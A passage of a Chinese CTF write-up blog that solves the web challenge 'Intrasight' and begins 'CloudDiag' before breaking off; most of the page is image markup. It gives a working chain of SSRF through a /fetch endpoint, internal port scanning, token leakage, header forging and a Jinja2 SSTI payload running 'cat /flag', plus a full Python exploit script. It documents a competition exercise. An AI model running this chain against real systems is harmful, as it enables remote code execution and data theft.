href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-285.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"484\" height=\"105\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-285.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2618\"  sizes=\"auto, (max-width: 484px) 100vw, 484px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-286.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"432\" height=\"111\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-286.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2619\"  sizes=\"auto, (max-width: 432px) 100vw, 432px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95eetxt\u6587\u4ef6\uff0cbp\u6293\u5305\u53d1\u5305\u540e\u83b7\u5f97flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-287-1024x330.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"330\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-287-1024x330.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2620\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Intrasight<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u6e90\u4ee3\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6f0f\u6d1e\u70b9<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u8f93\u5165\u6846<\/strong>: \u9875\u9762\u63d0\u4f9b\u4e86\u4e00\u4e2a\u8f93\u5165\u6846\uff0c\u4f1a\u5c06 URL \u53d1\u9001\u5230\u540e\u7aef <code>\/fetch?url=...<\/code> \u63a5\u53e3\u3002<\/li>\n\n\n\n<li><strong>\u9ed8\u8ba4\u503c<\/strong>: <code>http:\/\/127.0.0.1\/<\/code><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-288-1024x447.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"447\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-288-1024x447.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2621\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u5217\u51fa\u4e86\u4e09\u4e2a\u5185\u90e8\u670d\u52a1\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>public_web<\/code>: \u5f53\u524d\u6211\u4eec\u770b\u5230\u7684\u8fd9\u4e2a Web \u670d\u52a1\uff08\u7aef\u53e3\u901a\u5e38\u662f 80\uff09\u3002<\/li>\n\n\n\n<li><code>admin_panel<\/code>: \u4e00\u4e2a\u5e38\u89c1\u7684\u540e\u53f0\u670d\u52a1\u540d\u79f0\uff08\u7aef\u53e3\u901a\u5e38\u662f 8080, 8000, 5000 \u7b49\uff09\u3002<\/li>\n\n\n\n<li><code>w*_*e*1*r<\/code>: <strong>\u8fd9\u662f\u6211\u4eec\u7684\u76ee\u6807<\/strong>\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ed3\u5408\u9875\u9762\u8f93\u5165\u6846\u7684 <code>placeholder<\/code> \u63d0\u793a\uff1a<br><code>\u8f93\u5165 URL (http\/https\/ws)...<\/code><br>\u4ee5\u53ca JavaScript \u4ee3\u7801\u4e2d\u4e13\u95e8\u9488\u5bf9 WebSocket \u7684\u5904\u7406\u903b\u8f91\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (url.startsWith('ws:\/\/') || url.startsWith('wss:\/\/')) { ... }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7ed3\u8bba<\/strong>: \u76ee\u6807\u662f\u4e00\u4e2a\u5185\u90e8\u7684 <strong>WebSocket<\/strong> \u670d\u52a1\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>w*_*e*1*r<\/code> \u662f\u5bf9\u670d\u52a1\u540d\u79f0\u7684\u6df7\u6dc6\u3002\u7ed3\u5408 WebSocket \u534f\u8bae (<code>ws:\/\/<\/code>)\uff0c\u8fd9\u4e2a\u670d\u52a1\u5f88\u53ef\u80fd\u662f <strong><code>ws_server<\/code><\/strong> \u6216\u8005\u7c7b\u4f3c\u7684\u540d\u79f0\uff0c\u6216\u8005\u662f\u6697\u793a\u6211\u4eec\u9700\u8981\u7528 <code>ws:\/\/<\/code> \u534f\u8bae\u53bb\u8bbf\u95ee\u67d0\u4e2a\u5185\u90e8\u7aef\u53e3\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 SSRF \u9898\u76ee\u4e2d\uff0c\u5982\u679c\u4e0d\u77e5\u9053\u5177\u4f53\u7684\u7aef\u53e3\u6216\u57df\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>80, 443, 3000, 5000, 6379, 8000, 8001, 8080, 8081, 8888, 9000, 9200, 1337<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e38\u7528\u7aef\u53e3\u770b\u770b\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-289-1024x637.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"637\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-289-1024x637.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2622\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-290-1024x485.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"485\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-290-1024x485.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2623\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-291-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-291-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2624\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u53d1\u73b08081\u548c9000\u7aef\u53e3\u8fd4\u56de\u5185\u5bb9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u770b\u8fd9\u4e2a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>application\/json<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-292-1024x604.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"604\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-292-1024x604.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2625\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-293-1024x559.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-293-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2626\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u5f97\u77e5:8001\u662fadmin_panel \u4e0e 9000\u662fws_render<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ws:\/\/127.0.0.1:9000\/ws <strong>\u7f3a\u5c11 Token<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Origin \u6821\u9a8c<\/strong> (<code>invalid origin 'None'<\/code>)\uff1a\u53ef\u80fd\u9700\u8981\u4f2a\u9020 Origin \u5934\uff0c\u4f46\u5728 SSRF \u4e2d\u901a\u5e38\u6211\u4eec\u5148\u89e3\u51b3 Token \u95ee\u9898<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>8001 \u7aef\u53e3\u7684 OpenAPI\u6587\u6863<\/strong>\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u975e\u5e38\u53ef\u7591\u7684\u63a5\u53e3\uff1a<strong><code>\/redirect_ws<\/code><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-294-1024x553.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"553\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-294-1024x553.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2627\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;127.0.0.1:8001\/redirect_ws<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-295.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"859\" height=\"495\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-295.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2628\"  sizes=\"auto, (max-width: 859px) 100vw, 859px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u53d1\u73b0token<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"status\": 404,\n  \"headers\": {\n    \"content-type\": \"application\/json\"\n  },\n  \"history\": &#91;\n    {\n      \"status\": 302,\n      \"location\": \"ws:\/\/127.0.0.1:9000\/ws?token=146e2c154a764b519700f4e33fc05853\"\n    }\n  ],\n  \"body\": {\n    \"detail\": \"Not Found\"\n  }\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;127.0.0.1:8001\/api\/debug\/config<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-296.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"934\" height=\"496\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-296.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2629\"  sizes=\"auto, (max-width: 934px) 100vw, 934px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ws:\/\/127.0.0.1:9000\/ws?token=d2a0859e6e454d488bb6a66bbaf56382<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-297-1024x352.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"352\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-297-1024x352.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2630\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Origin \u68c0\u67e5\uff1a\u5b83\u53d1\u73b0\u4f60\u7684\u8bf7\u6c42\u6ca1\u6709 Origin \u5934\uff08\u6216\u8005\u4e3a None\uff09\uff0c\u8fd9\u662f Python requests \u7b49\u5e93\u7684\u9ed8\u8ba4\u884c\u4e3a\uff0c\u4f46 WebSocket \u670d\u52a1\u901a\u5e38\u8981\u6c42\u8fd9\u4e2a\u5934\u5b58\u5728\u4ee5\u9632\u6b62 CSRF\u3002\n\u53cc\u91cd Token \u9a8c\u8bc1\uff1a\u670d\u52a1\u7aef\u8981\u6c42 URL \u4e2d\u7684 ?token=... \u53c2\u6570\u5fc5\u987b\u4e0e HTTP \u8bf7\u6c42\u5934\u4e2d\u7684 X-Internal-Token: ... \u7684\u503c\u5b8c\u5168\u4e00\u81f4\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u7ec8 \u903b\u8f91<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4fe1\u606f\u6536\u96c6\uff1a\u5229\u7528 \/fetch \u63a5\u53e3\u8fdb\u884c SSRF \u7aef\u53e3\u626b\u63cf\uff0c\u53d1\u73b0\u5185\u90e8\u670d\u52a1 8001  \u548c 9000 \u3002\n\u83b7\u53d6\u51ed\u8bc1\uff1a\u8bbf\u95ee http:\/\/127.0.0.1:8001\/redirect_ws\uff0c\u4ece\u54cd\u5e94\u5386\u53f2 \u6216\u5934\u90e8\u4e2d\u63d0\u53d6\u51fa\u8fde\u63a5 WebSocket \u6240\u9700\u7684 token\u3002\n\u7ed5\u8fc7\u6821\u9a8c\uff1aWebSocket \u670d\u52a1\u6821\u9a8c Origin \u548c X-Internal-Token \u8bf7\u6c42\u5934\u3002\/fetch \u63a5\u53e3\u5177\u5907 HTTP Header \u548c Body \u900f\u4f20\u529f\u80fd\uff08\u65e0\u9700 CRLF \u6ce8\u5165\uff09\uff0c\u76f4\u63a5\u5728\u8bf7\u6c42\u4e2d\u8bbe\u7f6e Headers \u5373\u53ef\u6ee1\u8db3\u6821\u9a8c\u3002\nSSTI RCE\uff1aWebSocket \u670d\u52a1\u63d0\u4f9b render \u529f\u80fd\uff0c\u6a21\u677f\u5f15\u64ce\u4e3a Jinja2\u3002\u901a\u8fc7 POST \u8bf7\u6c42\u53d1\u9001\u6076\u610f\u6a21\u677f Payload {{ cycler.__init__.__globals__.os.popen('cat \/flag').read() }} \u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u8bfb\u53d6 flag\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ai\u5199\u4e00\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport json\n\nBASE_URL = \"http:\/\/80-1c89b64d-4a9d-4cc0-a239-d7d7ccc9f7e1.challenge.ctfplus.cn\"\nFETCH_URL = f\"{BASE_URL}\/fetch\"\n\ndef main():\n    try:\n        resp = requests.get(FETCH_URL, params={\"url\": \"http:\/\/127.0.0.1:8001\/redirect_ws\"})\n        token = resp.json()&#91;\"history\"]&#91;0]&#91;\"location\"].split(\"token=\")&#91;1]\n        print(f\"Token: {token}\")\n\n        target_ws = f\"ws:\/\/127.0.0.1:9000\/ws?token={token}\"\n\n        headers = {\n            \"Origin\": \"http:\/\/127.0.0.1\",\n            \"X-Internal-Token\": token,\n            \"Content-Type\": \"application\/json\"\n        }\n\n        payload = {\n            \"action\": \"render\",\n            \"template\": \"{{ cycler.__init__.__globals__.os.popen('cat \/flag').read() }}\",\n            \"context\": {}\n        }\n\n        resp = requests.post(\n            FETCH_URL, \n            params={\"url\": target_ws}, \n            headers=headers, \n            json=payload\n        )\n\n        print(json.dumps(resp.json(), indent=2, ensure_ascii=False))\n\n    except Exception as e:\n        print(e)\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-298-1024x281.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"281\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-298-1024x281.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2631\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{628f18fa-d94c-4e06-bba0-38732b8f2bdb}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">CloudDiag<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-299-1024x385.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"385\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-299-1024x385.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2632\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\u9875\u9762\u53d1\u73b0\u8981\u8d26\u53f7\u5bc6\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-300-1024x386.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"386\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-300-1024x386.png\" 